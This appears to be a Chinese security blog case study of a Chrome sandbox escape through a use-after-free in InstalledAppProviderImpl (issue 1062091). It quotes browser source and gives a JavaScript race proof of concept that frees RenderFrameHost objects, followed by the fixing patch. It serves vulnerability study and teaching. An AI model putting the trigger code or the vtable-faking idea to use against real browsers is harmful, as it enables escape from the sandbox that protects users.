chrome sandbox escape case study

  • A+
所属分类:安全漏洞


引言

通常所指的Chrome rce仅仅只是通过js引擎漏洞得到的render进程的rce,但render进程在chrome沙箱里,它的权限极低,为了进一步提升权限到应用程序的权限,我们需要逃逸Chrome沙箱。

chrome sandbox escape case study

这里借用一张图,如图可知,我们还需要一个Chrome Browser进程里的漏洞,来帮我们逃逸沙箱,事实上如果有一个极为好用的Browser进程的UAF,我们甚至不需要js引擎的漏洞。


case study: RenderFrameHost lifetime cause sandbox escape

这里我们通过一个简单的漏洞issue-1062091来学习chrome的对象生命周期管理造成的一类安全问题。我们首先看一下造成这个漏洞的mojo接口的定义,在继续往下阅读之前,请仔细的阅读mojo document基本的js异步编程。
// Represents a system application related to a particular web app.
// See: https://www.w3.org/TR/appmanifest/#dfn-application-object
struct RelatedApplication {
string platform;
// TODO(mgiuca): Change to url.mojom.Url (requires changing
// WebRelatedApplication as well).
string? url;
string? id;
string? version;
};

// Mojo service for the getInstalledRelatedApps implementation.
// The browser process implements this service and receives calls from
// renderers to resolve calls to navigator.getInstalledRelatedApps().
interface InstalledAppProvider {
// Filters |relatedApps|, keeping only those which are both installed on the
// user's system, and related to the web origin of the requesting page.
// Also appends the app version to the filtered apps.
FilterInstalledApps(array<RelatedApplication> related_apps, url.mojom.Url manifest_url)
    => (array<RelatedApplication> installed_apps);
};


chrome sandbox escape case study

一个render进程里的RenderFrame,对应到browser进程里的一个RenderFrameHost。打开一个新的tab,或者创建一个iframe的时候,都对应创建出一个新的RenderFrameHost对象,而在构造一个新的RenderFrameHost对象的时候,会使用RenderFrameHostImpl来初始化一个BrowserInterfaceBrokerImpl对象。
//content/browser/renderer_host/render_frame_host_impl.h
class CONTENT_EXPORT RenderFrameHostImpl
  : public RenderFrameHost,
  ...
 // BrowserInterfaceBroker implementation through which this
 // RenderFrameHostImpl exposes document-scoped Mojo services to the currently
 // active document in the corresponding RenderFrame.
 BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{
     this};
broker可以用来在render和browser之间通信,其bind来自renderer的interfaces requested到具体的mojo interface impl上,依据不同的ExecutionContextHost,最终调用的PopulateBinderMap不同,这里是使用的renderframehost,关于其他host,以后再深究。
// content's implementation of the BrowserInterfaceBroker interface that binds
// interfaces requested by the renderer. Every execution context type (frame,
// worker etc) owns an instance and registers appropriate handlers (see
// internal::PopulateBinderMap).
// Note: this mechanism will eventually replace the usage of InterfaceProvider
// and browser manifests, as well as DocumentInterfaceBroker.
template <typename ExecutionContextHost, typename InterfaceBinderContext>
class BrowserInterfaceBrokerImpl : public blink::mojom::BrowserInterfaceBroker {
public:
 BrowserInterfaceBrokerImpl(ExecutionContextHost* host) : host_(host) {
   internal::PopulateBinderMap(host, &binder_map_);
   internal::PopulateBinderMapWithContext(host, &binder_map_with_context_);
}

chrome sandbox escape case study

通过map->Add来向broker里注册适当的handlers回调,由于RenderFrameHostImpl里保存一个BrowserInterfaceBroker的实例,所以当此实现收到来自render的GetInterface方法调用时,它将调用这个回调,例如当通过bindinterface来请求调用一个interface的时候,
void PopulateFrameBinders(RenderFrameHostImpl* host,
                         service_manager::BinderMap* map) {
...
 map->Add<blink::mojom::InstalledAppProvider>(
     base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
                         base::Unretained(host)));
...
}
我们看一下mojo接口的定义所以最终从mojo调到的注册函数如下:
void RenderFrameHostImpl::CreateInstalledAppProvider(
   mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
 InstalledAppProviderImpl::Create(this, std::move(receiver));
}
// static
void InstalledAppProviderImpl::Create(
   RenderFrameHost* host,
   mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
 mojo::MakeSelfOwnedReceiver(std::make_unique<InstalledAppProviderImpl>(host),
                             std::move(receiver));
}
参数是RenderFrameHost和一个receiver,这里通过MakeSelfOwnedReceiver函数来创建一个self-owned的receiver,其作为一个独立的object存在,它拥有一个std::unique_ptr指向其绑定的interface implemention,并且在MessagePipe被关闭或者发生一些错误时,负责任的去delete implemention,所以其将一个interface implemention和MessagePipe绑定到了一起,具体实现参考这里
这里我们只要知道InstalledAppProviderImpl和message pipe的生命周期绑定即可,只要message pipe还连接,其就一直存在。
另外InstalledAppProviderImpl里保存一个render_frame_host_对象,其来自传入的render_frame_host指针,但是并没有通过任何方法来将InstalledAppProviderImpl和RenderFrameHost的生命周期绑定,一般来说会通过将Impl继承自WebObserver等来观察renderframehost的生命周期,当renderframehost析构的时候会通知Impl做出正确的处理,但这里没有。
InstalledAppProviderImpl::InstalledAppProviderImpl(
   RenderFrameHost* render_frame_host)
  : render_frame_host_(render_frame_host) {
 DCHECK(render_frame_host_);
}
...
void InstalledAppProviderImpl::FilterInstalledApps(
   std::vector<blink::mojom::RelatedApplicationPtr> related_apps,
   const GURL& manifest_url,
   FilterInstalledAppsCallback callback) {
 if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
   std::move(callback).Run(std::vector<blink::mojom::RelatedApplicationPtr>());
   return;
}
...
}
所以我们可以通过free iframe来释放掉对应的render_frame_host,而此时InstalledAppProviderImpl的实例依然存在,再通过FilterInstalledApps来再次use render_frame_host_,而render_frame_host_->GetProcess()是一个虚函数调用,通过占位render_frame_host来伪造虚函数表,我们就可以任意代码执行。

poc如下:

  • parent先创建出几个child iframe,从而创建出多个render_frame_host

  • 然后另其bind到name为InstalledAppProvider的接口,从而创建一个InstalledAppProviderImpl,其生命周期和message pipe绑定。

  • 创建好pipe之后,反复调用filterInstalledApps,堵塞住mojo消息管道。

  • 最后从parent删除child iframe,从而释放掉对应的RenderFrameHost,但对应的InstalledAppProviderImpl仍然存在。

  • 虽然child iframe被移除后,iframe里的pipe句柄也会被破坏掉,从而造成message pipe connection error,将InstalledAppProviderImpl释放。

  • 但只要在处理connection error之前,我们之前大量调用堵塞住mojo消息管道的filterInstalledApps有一次被执行,就会造成UAF了。

  • 这是一个很典型的race condition poc,尽管可以通过其他方式将child iframe的pipe端交给parent,从而不用使用race的方式稳定的触发漏洞,但是限于篇幅,不过多叙述。

  • function allocate_rfh() {
     var iframe = document.createElement("iframe");
     iframe.src = window.location + "#child"; // designate the child by hash
     document.body.appendChild(iframe);
     return iframe;
    }
    function deallocate_rfh(iframe) {
     document.body.removeChild(iframe);
    }
    if (window.location.hash == "#child") {
     var ptrs = new Array(4096).fill(null).map(() => {
       var pipe = Mojo.createMessagePipe();
       Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
                          pipe.handle1);
       return new blink.mojom.InstalledAppProviderPtr(pipe.handle0);
    });
     setTimeout(() => ptrs.map((p) => {
       p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
       p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
    }), 2000);
    else {
     var frames = new Array(4).fill(null).map(() => allocate_rfh());
     setTimeout(() => frames.map((f) => deallocate_rfh(f)), 15000);
    }
    setTimeout(() => window.location.reload(), 16000);

漏洞补丁

-class InstalledAppProviderImpl : public blink::mojom::InstalledAppProvider {
+class InstalledAppProviderImpl : public blink::mojom::InstalledAppProvider,
+                                 public content::WebContentsObserver {
 public:
  explicit InstalledAppProviderImpl(RenderFrameHost* render_frame_host);
  static void Create(
@@ -30,8 +32,11 @@
      const GURL& manifest_url,
      FilterInstalledAppsCallback callback) override;

+  // WebContentsObserver
+  void RenderFrameDeleted(RenderFrameHost* render_frame_host) override;
+
 private:
-  RenderFrameHost* const render_frame_host_;
+  RenderFrameHost* render_frame_host_;
};
...
+void InstalledAppProviderImpl::RenderFrameDeleted(
+    RenderFrameHost* render_frame_host) {
+  if (render_frame_host_ == render_frame_host) {
+    render_frame_host_ = nullptr;
+ }
+}
这个漏洞的修补非常经典,将impl继承自WebContentsObserver,用一段伪代码来解释一下这有什么作用。
以下A代表InstalledAppProviderImpl,BObserver代表WebContentsObserver,B代表RenderFrameHost,OnBDestroyed代表RenderFrameDeleted。
A中保存B的原始指针,在B的observers_队列里保存指向A的指针,从而在B析构的时候通知A。
class A extends BObserver {
...
 A(B* b) {
   b_ = b;
   b_->AddObserver(this);
}

 ~A() {
   if (b_) {
     b_->RemoveObserver(this);
  }
}

 void OnBDestroyed(B* b) {
   if (b == b_) {
     b_ = nullptr;
  }
}
 B* b_
}

class B {
...
 ~B() {
   for (BObserver* observer : observers_) {
     observer->OnBDestroyed(this);
  }
}

 vector<BObserver*> observers_
}
于是在InstalledAppProviderImpl构造的时候,它会把自己加到传入的render_frame_host的观察者队列里,从而在render_frame_host析构的时候被通知,将其指针置为null,从而避免了use到已经被释放的render_frame_host。


受限于公众号篇幅,本文没有完全展开,后续会在我的blog上(https://eternalsakura13.com/)更新,敬请期待。

end


ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系[email protected]



chrome sandbox escape case study


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: